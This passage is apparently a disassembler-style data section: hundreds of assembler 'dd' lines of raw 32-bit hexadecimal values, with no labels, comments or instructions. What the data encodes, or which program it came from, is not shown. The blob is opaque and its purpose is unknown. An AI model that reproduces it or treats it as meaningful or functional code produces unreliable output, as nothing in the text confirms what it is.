		dd 0CE77EF2Ah, 0B11CBBh, 0CCD19EB8h, 3CBC123Dh,	9ADC7200h
		dd 4FEDC38Ch, 0F37C00C5h, 77BB93F2h, 77F2A99h, 0F4F15000h
		dd 1917A89Dh, 0E65AE0h,	1371C100h, 0C94E2227h, 32A4BB0h
		dd 0BB36F7Dh, 98B03586h, 37020526h, 1EA5D29Ah, 3B2660CDh
		dd 0DCB3016Bh, 68C1A016h, 0CFC720A8h, 0E185E707h, 6BC00924h
		dd 0DAA939h, 0E8C6AE7Fh, 59AD779Ah, 32D3D503h, 0B8B79B99h
		dd 240376Dh, 95845641h,	6C6834F9h, 4CE0BB74h, 0F7C8EC3Eh
		dd 0A0BF1403h, 88CB2F27h, 900D90ACh, 858901BCh,	89E1931h
		dd 184E052h, 795DEF01h,	20648D60h, 7DC14420h, 0FDF300B0h
		dd 0C8C76B2Ah, 0DF009B18h, 67909AF7h, 38FA8968h, 9AF926CEh
		dd 0E26F00ACh, 0CBB53BD7h, 6E00AD12h, 702A44A0h, 720751Dh
		dd 94B9F678h, 0BA6BF1C5h, 877E7059h, 0E3D00600h, 0D839DCA6h
		dd 5C10C088h, 0FB3BAB8Eh, 9E460501h, 0EF36962Ah, 0F732E4h
		dd 3C2C0633h, 6A85E5F6h, 0C9F5A413h, 25A0B00h, 639D53h
		dd 0D0F613DDh, 49A2B5D8h, 923E860Ch, 3771B1h, 0A808C37Ah
		dd 93F8A6B8h, 3074F3Bh,	12F3FBD7h, 56F9004h, 0A0A5B818h
		dd 1401DB3h, 4790039Ch,	0F82D7449h, 0BA0001CEh,	0CCA84656h
		dd 0D00C29h, 4E48CD79h,	0B37985Ah, 1A5EAA00h, 68F22E7Ch
		dd 0E79C01E8h, 3F887661h, 0C89DD00Fh, 70E52D01h, 52257EA6h
		dd 2CD83020h, 94F582h, 0F70190DFh, 0BD0BB620h, 8F21339Bh
		dd 0FF14C1C1h, 0D080A884h, 8791C804h, 50917218h, 0F256803Dh
		dd 7B65B921h, 20300E2Bh, 0C09F7AA7h, 0C8FC934h,	751CDF1Ch
		dd 0C4006DD1h, 0A3F00D54h, 7C2B0042h, 1902D526h, 76B8F40Fh
		dd 7B226D01h, 0B6186321h, 3CD8E4D8h, 0EC002B9Dh, 910E8BD6h
		dd 0AE490154h, 442E02FCh, 6023B115h, 407EE198h,	7A1DE634h
		dd 0BEC06E22h, 36ED2D92h, 93CE00CBh, 0DD8E2963h, 3500B173h
		dd 79489B0Fh, 1E2E19D3h, 40FCE6B9h, 0F497CFCAh,	6825C892h
		dd 0B6AC20BEh, 0FEF188h, 7ECC6774h, 28638131h, 1A854E00h
		dd 0F424FA54h, 0D7E40E91h, 5540323Eh, 76CC633Fh, 0EF835800h
		dd 0A3268098h, 0AB9A1069h, 91A2006Ch, 7017117Ah, 0DC229DA5h
		dd 0E360FEDDh, 6A02C25Dh, 8425D416h, 1EA852DAh,	38FA3371h
		dd 0FF010A40h, 0BC506E6h, 3D0882F7h, 232A2486h,	0ECEF001Bh
		dd 0F1347635h, 7689F3Fh, 0FC719DD1h, 0F87FB7A3h, 26D957h
		dd 0D44E0F83h, 90CF9EF1h
		dd 0D80420C0h, 34328AFh, 0B8395F25h, 0CC988AF9h, 0EC1D8775h
		dd 4C00C345h, 1C67A233h, 0F3852035h, 167CC203h,	0DF5D1546h
		dd 8887CB21h, 40F117E0h, 3F008B4Ch, 4372CE8Ch, 285A460h
		dd 667E5FFCh, 82C0BF03h, 0C01DED93h, 6531280h, 0CBC2A701h
		dd 90F84B38h, 0FAEC4Ah,	2C5A1CAEh, 59D4A961h, 669BA00h
		dd 8C66E8F6h, 0C5430007h, 53CCFC5Bh, 0D7031627h, 0A1C96E8Bh
		dd 0E2EAF8FAh, 516200CBh, 4455998h, 0CC1C8D36h,	21074201h
		dd 0C601FC60h, 0ADC4570Fh, 0E5A0708h, 0DE1D0CC7h, 0F85CDDE0h
		dd 100EB2Dh, 0BCF503FFh, 510A25h, 0FAFD927Dh, 0A3BD6B9Ch
		dd 0B694E300h, 8F6C5B34h, 0E04200C0h, 0F3D65377h, 0D81FAAA6h
		dd 0D505B4FEh, 904AB9F0h, 58D504B8h, 9B23E116h,	0BA00FE8Fh
		dd 5D284350h, 0E6595h, 0FBB79F54h, 0C4744DAEh, 69E09679h
		dd 40835303h, 83565CC5h, 0BB2BA0CFh, 9D7A3E29h,	8052F21Ch
		dd 814B0665h, 5F03CE01h, 55F74D82h, 5940E737h, 127E198h
		dd 25B79357h, 0F0430B5Bh, 461B125Ch, 806004F9h,	459463h
		dd 0B4377BC5h, 68AA8AEFh, 69C82A00h, 9E8F9A1Dh,	0DE4F09A3h
		dd 7C0038E3h, 7E0CE1FCh, 0AC312A01h, 9C4754CBh,	65CA2888h
		dd 18843F90h, 4448442Ch, 484A3044h, 47FD4243h, 6A20EC24h
		dd 0F483D90Fh, 84133922h, 1203FE21h, 2FA8108Bh,	34080489h
		dd 44AF0844h, 2844846Fh, 433184B8h, 5AF3A15Dh, 1225B611h
		dd 71D10DCh, 885BB788h,	70883C31h, 57D18845h, 14BB51CAh
		dd 9023F008h, 6CF48474h, 48E1F48h, 8DACC0FEh, 477012h
		dd 36F64216h, 67C93D98h, 5561B600h, 4DB430Ah, 1C7A80h
		dd 0E4977094h, 0FD499EDh, 630041FAh, 8BBA51FFh,	7E47D9h
		dd 9F718364h, 0C067198Fh, 80C9863Dh, 50A33144h,	111A7D9h
		dd 0AE282105h, 0C3C191EAh, 0A28FABF0h, 500EBF00h, 69F23514h
		dd 85FD1C28h, 30390355h, 0FEB07433h, 5A009936h,	0EFEA11F9h
		dd 3C79301h, 0F2F44148h, 0FBD80AF6h, 0E50EDD97h, 0A003D171h
		dd 943C88C9h, 7F7C02BAh, 0E0419D5Ah, 0B1129C40h, 0ED166200h
		dd 408B0347h, 0FBDB001Ch, 0CA377849h, 7F1D1B87h, 0C2806DBFh
		dd 2CAAF3E0h, 73B300E4h, 60F09A39h, 751C514Ah, 0C4C0354Bh
		dd 239648E8h, 83A324E9h, 808815CCh, 0B8708406h,	1200D9F5h
		dd 9D36A78Fh, 0E2BA15h,	0CCDB9220h, 890CCB3Bh, 0AFAB8714h
		dd 0EF681D88h, 5F9F509Fh, 0CA97D1C0h, 0C059B353h, 3F44FC48h
		dd 0B1002677h, 0B580E748h, 1E5E8B0h, 9106A211h,	0C03BF440h
		dd 192E6064h, 0A6260716h, 2E2D0C00h, 773711Ch, 0D89367B5h
		dd 0DE3050F9h, 5B006A0Ah, 24D60EF5h, 18F0ABh, 38C0EEAEh
		dd 1F4A706Eh, 6798ED00h, 312DC222h, 99620024h, 3BF15812h
		dd 0ED006E13h, 2555EFA5h, 1DB29C9Ah, 8042223Dh,	6B8687F1h
		dd 340AB109h, 9498EE85h, 78379300h, 69D855h, 0FA4A0E41h
		dd 75E0F9A2h, 6A2E281Dh, 0EDB20D80h, 90497CA3h,	8958503Ch
		dd 60BC091Ch, 0C30046FBh, 22EA287Fh, 5C900E12h,	893B4804h
		dd 9C6B7981h, 0B0289BC0h, 53E900B6h, 0C99521C4h, 25098309h
		dd 16B6F0B0h, 71AA0308h, 171F1866h, 69A3BE8h, 0EB598203h
		dd 0F86401F9h, 70D6B0FDh, 0F210C06Ah, 1774E973h, 30C0DB76h
		dd 5808BC1Bh, 4D9E3BD8h, 40F5A313h, 77D459DCh, 0F4017932h
		dd 7ACE89Fh, 0C320F3C0h, 4A6C00CFh, 85FFBF60h, 0CC3DA322h
		dd 84F0E49h, 8405C0F0h,	3CD04D53h, 0AC8F50A4h, 88A77216h
		dd 7C332006h, 8CB8BAB4h, 75A55A02h, 0F7501EA0h,	1FCEDE0h
		dd 97003477h, 8BA8246Bh, 7FDB2B0Dh, 2658009Bh, 0BAE4364Eh
		dd 59012C78h, 7A687E95h, 0DC300812h, 0BE9040h, 136CB91Dh
		dd 0A41C9C4Fh, 0F0193800h, 0BD7C6F34h, 6FB0070h, 9C71ECEAh
		dd 0A201271Bh, 3A51C912h, 0B1E4B36Dh, 65EB3BFCh, 300C73Eh
		dd 0C437E194h, 5414A31Eh, 3CC04327h, 0C5BF8Bh, 3D9DF32Dh
		dd 0B7197Ch, 1B981DC9h,	0D0CA70F6h, 556A5800h, 0A5EB0BF2h
		dd 0EF2803D4h, 0E603CDD6h, 6AF04DC0h, 7A9BA009h, 6EB40089h
		dd 0F27F7EB1h, 0EA7100D3h, 3FD2FFA4h, 0F060899Dh, 317D9678h
		dd 411D0144h, 758267E1h, 83F0405Ch, 0F40050A5h,	922F9A2Ch
		dd 9E2DC46h, 660DB12h, 0F75A0C80h, 22017457h, 0A68D6352h
		dd 0BDDBB9DEh, 9F12FDC0h, 0CBB800E6h, 0DF5A7EBCh, 10F6BAD7h
		dd 58984001h, 0B3388013h, 1FE91021h, 25F8ECh, 0C9DA324Fh
		dd 642853BFh, 34F60CE2h, 0D67F060Ch, 28BF822h, 0CE5A9B49h
		dd 9460671Ah, 0D5033B72h, 0B7443C1Bh, 65C000FDh, 261815B2h
		dd 507AE7Ah, 0D7249FBEh, 89AA8560h, 38862436h, 0C77500E6h
		dd 0CFF7DD4Bh, 0EC734607h, 398015AEh, 0AFB9Fh, 47E5AF56h
		dd 92BFEACCh, 0C4BE7E1Dh, 0F1B1F640h, 368DD8h, 2E0104E9h
		dd 98AC0D15h, 7F462300h, 0ADC90594h, 0C5261E9Bh, 0E0DD80B2h
		dd 0FF5D63CDh, 0DC08B000h, 706BC818h, 5B5500ACh, 0DEE72DB8h
		dd 0F45C1959h, 0D5007678h, 3E7F0D58h, 0A74722h,	17C58D08h
		dd 4667236Ah, 9096EF00h, 5AFF5224h, 0D31D079Bh,	807508EBh
		dd 284542F2h, 0D5C4B500h, 0E165A03Ah, 9A4C0225h, 0C8FF1BC9h
		dd 0E3015CC6h, 5B3A412Ah, 1F70647Ch, 97AE1F72h,	1A03C019h
		dd 0A018D7D5h, 4CF8FE02h, 0C07F17E2h, 486D4DDDh, 0E11E2838h
		dd 1E93C034h, 60EB8F20h, 0F4488924h, 0A5FF7300h, 45C32Dh
		dd 0AA76EC02h, 0BA66B4Ch, 0AEC2F002h, 0C8B5A194h, 3C719A90h
		dd 41A85759h, 73D00CAh,	3E74CAE3h, 0E21E0B04h, 0DF4082C3h
		dd 5D89837Fh, 68AE001Ah, 0C86D3B2Fh, 11FE738h, 8FC0D186h
		dd 0C9B5566h, 0C175007Ah, 81A0C23Dh, 870FDF5Bh,	0A006B07Ch
		dd 0D26B5A7Dh, 1FBB001Ch, 585CE4B9h, 0CA1E71F0h, 807DD385h
		dd 6261123Dh, 102C77h, 40321594h, 0AB6C5EDh, 8FF03500h
		dd 0A6C7DB1Ah, 0F898A1h, 6CDF3EABh, 62951D0h, 8A8D0112h
		dd 907D1B00h, 60A0FB27h, 0C49B6215h, 0A7015B41h, 24E93340h
		dd 3C3458A4h, 30720101h, 99C50312h, 0C3F83053h,	0AC543126h
		dd 800F748Eh, 8840B692h, 3D85246Bh, 0F09000ACh,	4EB90B51h
		dd 0EB05831Fh, 538104C0h, 0FAE5A369h, 68100E79h, 5F472556h
		dd 0A883E0E6h, 7F001D85h, 95A67E26h, 1E8AE1Fh, 0C8BF1A33h
		dd 0D80A504Ch, 9A003493h, 53D46C13h, 92FAC91Eh,	6D103AD0h
		dd 0FFCA1AAh, 1A21EA0Bh, 3500EC14h, 31D3CDE8h, 6502B142h
		dd 3C161E7Eh, 39F4C068h, 8FBB01A2h, 8CCD5AC7h, 77C0D380h
		dd 9D2E6C57h, 803EB98Ah, 0A36322D5h, 14DB9BDh, 0EADB8B82h
		dd 703A272Fh, 0E701E82Ch, 6F03F5A2h, 4C200153h,	12DF1894h
		dd 72935619h, 47A5DA00h, 0A853BB2Eh, 0ED09004Bh, 8F4AF44Fh
		dd 780EEF98h, 709150h, 9B1FC4A6h, 93080037h, 20F8B8BEh
		dd 9C130AC3h, 0C21EFDD3h, 4DE75F80h, 0B265B68h,	2DB5336h
		dd 0A719E880h, 0C1001F93h, 0E6A4C013h, 1C3FD5h,	0A2A97024h
		dd 0D6B741Bh, 60F3C7ECh, 0CE0010D4h, 3CD81120h,	9A75FFh
		dd 8D7C0D30h, 0C09F5B38h, 0A048AF02h, 602B8E2Dh, 73CAEAh
		dd 0AC7E3541h, 765C054Bh, 387CC500h, 605F6ACCh,	74FB03D5h
		dd 0E7351C24h, 5B2CA880h, 0D3C97A00h, 36C1BD39h, 38F24C01h
		dd 119DC600h, 0C3E74706h, 70EEEC16h, 535EFA00h,	0F8F80DAh
		dd 0CC88ED7h, 0E3921460h, 0BB01CBA5h, 4AB63E50h, 0EEE80DEBh
		dd 0F394021Bh, 1289A2D8h, 0D3313860h, 76024F00h, 3BF65CB5h
		dd 208D1280h, 6514025Bh
		dd 64C07396h, 5C4860D0h, 2EC20008h, 0A47C1F08h,	56BE3DA7h
		dd 0E0310074h, 86C910F7h, 1858A5D8h, 97B300C8h,	1B5ECA49h
		dd 0F9381837h, 0F4BED0F3h, 0DCEE3900h, 61482DFh, 0DBB83Bh
		dd 34A28BEBh, 3E778E26h, 0DFB38406h, 4C7BBBh, 0DEEAE85Fh
		dd 887C23EEh, 0F592FA1Dh, 1C50CB8h, 0F6E9D00Dh,	0FD5E12D7h
		dd 3D5892FEh, 6C129220h, 5B60521h, 809881B9h, 0C0F10654h
		dd 3A000DFAh, 3454E89Ah, 28D4FD0h, 2456482Eh, 0C4A0C5C2h
		dd 96CC1FAh, 60A6B01h, 0F104A2EEh, 8613C4h, 0FB424027h
		dd 4610DCCAh, 0AF6D5B00h, 0C57E1C11h, 0C6AB00CEh, 0AE1758B7h
		dd 3608A9E6h, 84456E44h, 0C80B1FC5h, 5F014AFCh,	4F47ECEEh
		dd 0F20695Dh, 2E5B3E91h, 8320014Bh, 20ADAF37h, 0FD1D8DE0h
		dd 4640F7A0h, 877F8C0h,	4CC8F86Eh, 0A30FB11Bh, 0B3C0792Bh
		dd 2DFAE33Fh, 171F3300h, 575EA5D3h, 517DCDh, 21EA8ECh
		dd 809E9055h, 586BBD26h, 14B8D920h, 8A823D00h, 8969F956h
		dd 33A00A9Dh, 28F8AC4Ch, 35B500EFh, 12FC7C6Ch, 117A9BC8h
		dd 432DA900h, 9DF4D574h, 1D67010h, 0BEBA4D64h, 60DA39ADh
		dd 4A02CB98h, 362E1B1Dh, 0D0006B2Fh, 4FE39Dh, 24018A74h
		dd 59575137h, 86528F00h, 0AC62690Ch, 140E00C1h,	7654E5Ah
		dd 0AD00202Bh, 9EE2D112h, 24D602E3h, 9F5C1960h,	6EDE7Fh
		dd 0ACB87FFh, 0AC00F688h, 289BAF8Bh, 7FB0B2A2h,	3C80000Fh
		dd 59FA79Ah, 13007940h,	0B9DFA831h, 58F29Bh, 9DDE5CC6h
		dd 0C5DCB363h, 88386F0Eh, 97236205h, 68E1E08Ah,	0CAB60007h
		dd 0ADFC5C62h, 33095AA7h, 5D406FD9h, 3E77280h, 7D1DB959h
		dd 284FA2Ch, 80EB0CC4h,	0AEC604Bh, 80E1EE39h, 87E822B2h
		dd 0F29F97h, 0E48BCC05h, 1FEB165Fh, 1B722E00h, 94048A17h
		dd 0AFDA00D1h, 0FA3F4D5Eh, 48008B9Fh, 0EFD234B7h, 0C06F9575h
		dd 5C2E5644h, 0D306EABBh, 0D4A72BD1h, 0A97F28h,	49E5D214h
		dd 6D93B581h, 0D357FD06h, 0B8555Eh, 234772EFh, 45D4444Fh
		dd 669F2005h, 40803DE5h, 1B6CF574h, 509B89CCh, 5ECFBDA0h
		dd 0D256E606h, 194A61h,	8BEAE208h, 5AE4DFB4h, 0B3DA2F00h
		dd 5BAA6975h, 3F8172B6h, 5C809F56h, 0F62503CFh,	83006E94h
		dd 90DAEE96h, 0B0C35Dh,	2D28120Bh, 0E08B237h, 0D7FE600h
		dd 246B63E4h, 572000DCh, 70F0B5F8h, 0E009656h, 9A41E1A7h
		dd 6F9C4Ah, 0ABC568A6h,	7E91A4CDh, 0D500B4EAh, 0FFBBF259h
		dd 360732Bh, 0EDBEA6D4h, 37B097CAh, 0F400DB7Ch,	3290E88Ch
		dd 7F17751h, 274BC8E3h,	0E6D1A0F0h, 73FE6B69h, 4D5FF600h
		dd 0F544514Fh, 68BA3A29h, 75910070h, 24233222h,	0A53BF919h
		dd 3E9200F1h, 0B8D4A1CAh, 393D0031h, 0AF1B8596h, 0F517020Bh
		dd 510052FCh, 5E649D5Ah, 625D3C99h, 8F29B600h, 5369E778h
		dd 3095D000h, 8284ACDCh, 32BE03Ch, 0A723081Ah, 18B2AEFAh
		dd 3AD9BD60h, 77680900h, 0E299667Ah, 3F0F63Dh, 0A02350DCh
		dd 73A8CAE8h, 121C71A1h, 81DE7EA3h, 26BCBDh, 3B86314Ah
		dd 0A4B2D1h, 0B4987AECh, 8B15ACE6h, 0B6EE6275h,	0F3008E72h
		dd 0C36843CCh, 5CF4032Ah, 82005EC5h, 52BD7BD4h,	0EC00A3D6h
		dd 6E214EEDh, 78938790h, 30D3000Dh, 3D7F6D4Bh, 0B9F618CAh
		dd 562E60C0h, 95ECEA0h,	0C8E45846h, 59630400h, 0CB002D03h
		dd 0DC7A3A57h, 6390368Ah, 46D9406Eh, 206107D9h,	0A9004BFAh
		dd 917DAEA3h, 97B78Dh, 6CD25829h, 62141E73h, 997AD71Dh
		dd 0A0780941h, 0EAECED3Fh, 0E018900Ch, 18C007Ch, 811E3680h
		dd 5914B5D8h, 4CFCD64Ah, 5A2B003Ch, 24B0078Ah, 6718C053h
		dd 226A2315h, 49622505h, 69C09C85h, 79CE382Eh, 0F5D400B9h
		dd 0DA6928C9h, 0DD00ECD0h, 76648CBh, 964116h, 0DC327FBFh
		dd 3F1B0D13h, 0F9923500h, 0E65B6BD3h, 0B0DE0052h, 1564F266h
		dd 2A0154C1h, 38C75630h, 0C20DA7Ch, 3696007Fh, 464EA2E2h
		dd 0AD002713h, 0D6DBA507h, 21A37Bh, 19652512h, 2D43BF4Bh
		dd 0C63C76E0h, 0C1F901CFh, 933DAF4Ch, 457024h, 548E3F55h
		dd 0FB49A177h, 2EAEE707h, 0C0D7D8C2h, 183D7E60h, 0F79C004Fh
		dd 3BEBA08Ch, 0D801E994h, 5165A8F3h, 9830FED3h,	84E30F50h
		dd 6C40D69Ch, 1D1BE544h, 0A8709D00h, 8AAC1174h,	0C2DF0A0Eh
		dd 0A854F0h, 8635D0CAh,	0AD248065h, 3800AC40h, 7AB75E42h
		dd 0C445002Ch, 306B641Ah, 0CA1E6F90h, 2402FDEh,	71794352h
		dd 6009EA45h, 0D48C485Eh, 0C51FE942h, 0B6C24DA8h, 48FC7424h
		dd 9ECCA8h, 1A888A09h, 0D05B4091h, 0DFDD7001h, 641EFAF3h
		dd 0C9D5AC50h, 8472452h, 0ABFC00D8h, 0D121EFD8h, 0FD1F5B71h
		dd 0F6006909h, 0C57291BCh, 164F00E7h, 0EC93215Eh, 310051ACh
		dd 0CAFDCC3Eh, 1FA18Eh,	0E3C954C0h, 478AA2D2h, 0D6CF60E3h
		dd 9B1FB277h, 893E899Ah, 684E4Bh, 65F4F034h, 0E8E70383h
		dd 8F995ACh, 4E27000h, 56C2922Eh, 45F439D4h, 0B3BB0B06h
		dd 1F002037h, 7F29657Eh, 0FEC1A3h, 0D78BA2A1h, 1AF138E5h
		dd 9D311F00h, 44B1900Dh, 0AC143998h, 0B7342282h, 60D5381Eh
		dd 678430h, 491DAD8Ch, 7C4BE5A0h, 29E2638h, 2989CEEFh
		dd 0A4C0C00Eh, 77D81FD5h, 9BFC0C3h, 0FE3FAAB6h,	7976497Dh
		dd 0EB50F507h, 8107BD8Dh, 0E7AE8310h, 657DB3h, 409A7321h
		dd 591133CBh, 4FC0B500h, 0E997221Dh, 0F5523EDEh, 729B0F8Dh
		dd 0FD7C2028h, 0E0773E8h, 0C10D94DAh, 249C390h,	643C7738h
		dd 0EEDB8159h, 833319C0h, 62C795Eh, 0AE1B02C4h,	0DCE420B1h
		dd 4406D4F2h, 0F782E01Dh, 4A780039h, 26227BD0h,	0DB007642h
		dd 0A7919C28h, 3AE71309h, 92831A7Eh, 88AED7BFh,	0DA7774F8h
		dd 0B9DE1500h, 84E934E8h, 621B000Ch, 0A11B4FBh,	44008C46h
		dd 819D73A8h, 2487BDh, 5ACE7C36h, 478228DFh, 5C547700h
		dd 1E5FD968h, 0E08AFE7Ah, 363000ACh, 9E0FE63h, 7839EB0Eh
		dd 0E341001Ah, 7D199CA8h, 3B4F6A1h, 0DBC72FD6h,	90B73F88h
		dd 48E88477h, 0D21BA305h, 0B0832469h, 0C1758230h, 0E9F47854h
		dd 10FA2444h, 0A4C2808Ch, 82DE94FFh, 8D954803h,	0B86DD85Ch
		dd 7EE8E6h, 46098896h, 483A985h, 0A02CB100h, 138EBCF5h
		dd 38284884h, 4559B800h, 0ACD6E814h, 0C8D048h, 0FA39D98Dh
		dd 9A84AEC6h, 77550438h, 0C06C9022h, 5E41E8E8h,	0F4283Ch
		dd 0B8627F3h, 1D66F7B5h, 40C9A3E0h, 31B7935Fh, 600C888h
		dd 0CBEEC685h, 2497DA37h, 7C14E5h, 2DE2440Bh, 0C1241FEAh
		dd 2428BCDDh, 0D829D900h, 99EC835Eh, 206300B3h,	36B2C15h
		dd 18000B24h, 5453F3ADh, 207443Bh, 1C7ADBC3h, 38CB8C15h
		dd 4CE1D490h, 6449CC90h, 2ED20BE8h, 0FC682761h,	50F79527h
		dd 6B90F682h, 77E8E80Ch, 475D00BDh, 9E7D521Bh, 0FD09A286h
		dd 801AD429h, 78CDB02Ch, 0E88DF234h, 0EE9A0089h, 6C4402Bh
		dd 801FB211h, 99406EB1h, 0B382FE88h, 0F32D00BFh, 0A6FDA35Eh
		dd 2F3A4E70h, 3FCC89h, 1CA01D94h, 13A2E602h, 8553188h
		dd 901C01B0h, 37A436C3h, 0F9B90114h, 0E22A6E6Ch, 844C74B2h
		dd 4900DC79h, 3BCDFF7h,	740D2Eh, 0AE1A6537h, 41F491FFh
		dd 98094301h, 62B48AB7h, 8961C840h, 59D3005Bh, 0A8EE0C28h
		dd 5F397C33h, 4CCD2E86h, 0C166EB0Fh, 0C741B0DCh, 0CA4560h
		dd 0CB722036h, 0D68967Dh, 0F0F2BEEh, 60C58646h,	87A39E2Dh
		dd 344712CCh, 701C078Bh, 0DDB0A0C9h, 7002C51h, 0A8FDAF78h
		dd 0E68C8F26h, 0E0020998h
		dd 0D1092D63h, 3400E5FCh, 0E995BA6Eh, 0A27F8Dh,	7153D47Ch
		dd 63BCDE3Dh, 681A5109h, 0CF7A006Dh, 0FC259135h, 0C2D20016h
		dd 0F51E0B8h, 400A59Ah,	0C9DFC081h, 4EF4792Fh, 7DC0000Dh
		dd 3132775Fh, 5925A00h,	0F2647F2Dh, 0FF41073Eh,	9096CFC3h
		dd 1F081B2Ch, 12CC7300h, 0A70A659Dh, 0B10E26B9h, 0E8FD3DF4h
		dd 7CAA0163h, 0B82ED1D8h, 894474C4h, 710CB248h,	0D50068B0h
		dd 2544BFA1h, 0D970F7h,	3BE041B5h, 16B6E790h, 0DABB1700h
		dd 9ACB6862h, 463F00FCh, 2D7D8FEh, 0A00020B3h, 54B09565h
		dd 2CC07F33h, 5830EB44h, 9300A8A9h, 0D018FEB2h,	0D38D67h
		dd 0CFB972F2h, 0B1C0AB7Bh, 116FDF00h, 9DB7999Ch, 3E280079h
		dd 0BCA5B9EDh, 7700A3F3h, 6B629EEh, 9FF8E23h, 9C89F127h
		dd 499F0380h, 3E005875h, 0BE31E34Ch, 1C6D76DBh,	4E3C2BF9h
		dd 8F00FC6Ch, 0B4789967h, 8C4CCF00h, 64D41A50h,	0B0BE0F35h
		dd 5D409D88h, 3D7492D0h, 0F88DAC38h, 1CB2A203h,	9CA14Ah
		dd 0D8C18648h, 0D571CD28h, 0F682A800h, 483C9026h, 0D0060751h
		dd 20220D6Ah, 0F959695Eh, 8F23100Eh, 0C7A58254h, 0EBC8C07Dh
		dd 4DC800A3h, 0D93BD061h, 0E500A1F4h, 5BCCBC24h, 4C5F53B9h
		dd 0B240901Ah, 4EF126EAh, 97BE0718h, 663970E6h,	900AB5Ch
		dd 28D502A2h, 30C5803h,	0F85B3D41h, 8097E1B1h, 0BE81682Ah
		dd 332684BAh, 0F300AC45h, 5855EE09h, 0EB8E009Ch, 0CB769D07h
		dd 7A79A27Ch, 3CE09B48h, 6189028Ah, 80C183B4h, 0FE95C2D0h
		dd 0E714009Fh, 0BE965140h, 0DC0062E2h, 5E88CEB2h, 0B78C5EDh
		dd 72A2B732h, 0FDC12800h, 7EFAE3B1h, 3BC223Ch, 377C4A42h
		dd 0B8F29038h, 86D706C7h, 0C4B53653h, 3ED078C0h, 47155Eh
		dd 0FA17E33h, 756F4BADh, 0FAE89D00h, 49F0A6E6h,	297557h
		dd 0BC0E38D3h, 821C11CDh, 5018781Eh, 13754D01h,	0F8202605h
		dd 0B03D0053h, 451EABFBh, 0B4548311h, 3700398Ch, 44FCF924h
		dd 50CFCA72h, 8EE28Dh, 28B484DEh, 20AA1225h, 0D509DAB0h
		dd 18C17Ch, 359B2A70h, 0F35C00E7h, 723CC773h, 7A0083F8h
		dd 4DD5D739h, 0A1041h, 0A5B0E6AEh, 47B7D386h, 6FDE9A00h
		dd 373E3469h, 0C65A027Eh, 0F8C548A8h, 0BDE6BBC0h, 2E41BE00h
		dd 0E9DD59C0h, 3E0B091Eh, 0F25CFA79h, 9929003Bh, 43AAFB75h
		dd 0BA650052h, 9D93A4D3h, 0F001A38h, 5F120437h,	240D63E7h
		dd 82D4C92Ah, 0A0271BCBh, 0CC890440h, 0EFA464F7h, 0F06D6201h
		dd 8F132106h, 0CDCA865h, 70884808h, 9383F00h, 0FB30D1Eh
		dd 0E6EBC712h, 8FD0C00h, 0C080E0B2h, 1869E2C8h,	0C180401Dh
		dd 12D7005Bh, 5C21F784h, 0D0BA78Dh, 801922EDh, 0ECA49961h
		dd 0F1B0039h, 0A2929FDCh, 42E02F0Bh, 0AB06050Fh, 3A5F40EAh
		dd 1868495Bh, 0C8B5BCA1h, 0EC126967h, 8F00BAA0h, 82DC56C3h
		dd 77219896h, 0B8F097h,	0C8661379h, 2A883FD6h, 92B90116h
		dd 63AE09h, 9DEE2FC4h, 65323B07h, 21139400h, 0CCF49C41h
		dd 0D8006C4Ah, 0DA5B5ECh, 2A3E30A1h, 518673F0h,	86A9F02Ch
		dd 2316FD3Bh, 520075C4h, 0DEEBA228h, 305379A7h,	0F5203976h
		dd 10034E8Ah, 2BE4FDC6h, 22BFA8BEh, 7BCC00A9h, 18957DAEh
		dd 49039D20h, 0B6034016h, 0CF58D976h, 0E4F07771h, 4F3800B1h
		dd 8D32656Bh, 82012B56h, 8E44581Ah, 39F8F498h, 0B0280F0Eh
		dd 0F380D16Fh, 489489D8h, 0E8078000h, 1BE53036h, 5F7D20h
		dd 0C3EAC5FBh, 6FF139C1h, 54743B00h, 0AE649E29h, 4FB100BAh
		dd 4ED995F2h, 4B0EA366h, 7292E4Dh, 7B9FA9Ch, 301028A8h
		dd 2A649h, 9382BA9Bh, 0DF01662Fh, 73011CB2h, 0B9E98EF6h
		dd 4C750579h, 4846B360h, 0A102CF25h, 305BC4BDh,	0C7CE2640h
		dd 84591B3Dh, 904B7E3Ch, 67234890h, 792B00C8h, 0A9918D57h
		dd 0FD008CB0h, 0EB9ECB12h, 5B07FEh, 0FCC25990h,	3BE13C4Ah
		dd 0B09C4E00h, 60B3CA0Bh, 2516072Eh, 2F564C24h,	5E68A6A0h
		dd 0B40092E0h, 21B01C89h, 0D48128h, 0A2EA936Fh,	924DE4A9h
		dd 0B204AF00h, 0BE1CEB83h, 385FEAAh, 6EA8FAB0h,	0E7D0DC5Bh
		dd 0EBB8FB4Fh, 12008B71h, 40AA8023h, 1C20E1Eh, 0A5512FC5h
		dd 0DC52E5CAh, 0CD00F24Ch, 40DBF9AAh, 9980C2h, 7E9766Eh
		dd 31660BB6h, 0F84AEC26h, 0FA3BE760h, 33403FE3h, 562512Eh
		dd 0D08BEA4Ah, 2C64EFD4h, 907D3B1Fh, 9E54A140h,	0FB5F36A9h
		dd 888CD443h, 5FA7528h,	740752E7h, 34C7EB78h, 0D4326D70h
		dd 0B9AFCD7h, 49D9644Dh, 0F0BB0CA0h, 704CE331h,	0C7200E2h
		dd 0AB68C51h, 13228B8h,	1F3001D4h, 81882967h, 4798241Ch
		dd 0BD2E1500h, 560EDA18h, 0E07A05ADh, 1DE89997h, 350FC0C8h
		dd 52F2C7FAh, 0CCE3CD00h, 4FBF4D10h, 0ACD44C29h, 0C332D100h
		dd 0A68BE6F3h, 0F9B8EA00h, 7898E895h, 0BC67399Fh, 0CF1A6480h
		dd 609EC3D4h, 0D26A3B03h, 0D8B61DABh, 12F8BBDBh, 18190Fh
		dd 68BDDDA1h, 5F003562h, 4D9C4F04h, 72802BD8h, 0C354B01Ah
		dd 0BB57529Eh, 3FC178BAh, 6440C26Bh, 0FD0014E6h, 0F2A8A390h
		dd 98BE113Ch, 7C507298h, 0F1BD24C3h, 0CC580066h, 2F06B79Eh
		dd 0A21C2894h, 1F1DC31Eh, 5AF48Bh, 361144ECh, 82EC38A8h
		dd 33351C00h, 9C0BDD91h, 1A4D0C00h, 0F2348D68h,	4725B20h
		dd 0C0DCCD0Ch, 3F252A57h, 9EC27C1Fh, 562B7E80h,	28D2E11h
		dd 379A4935h, 8C80F607h, 0E866AC3Bh, 84D4A00h, 13C4754Bh
		dd 0EFCE00CCh, 90FBC78h, 8E0CB61Ah, 0D0B9A881h,	3D55001Fh
		dd 18FC369Ch, 1A006534h, 3C2AFF8Bh, 0B86809ECh,	0CF8700E1h
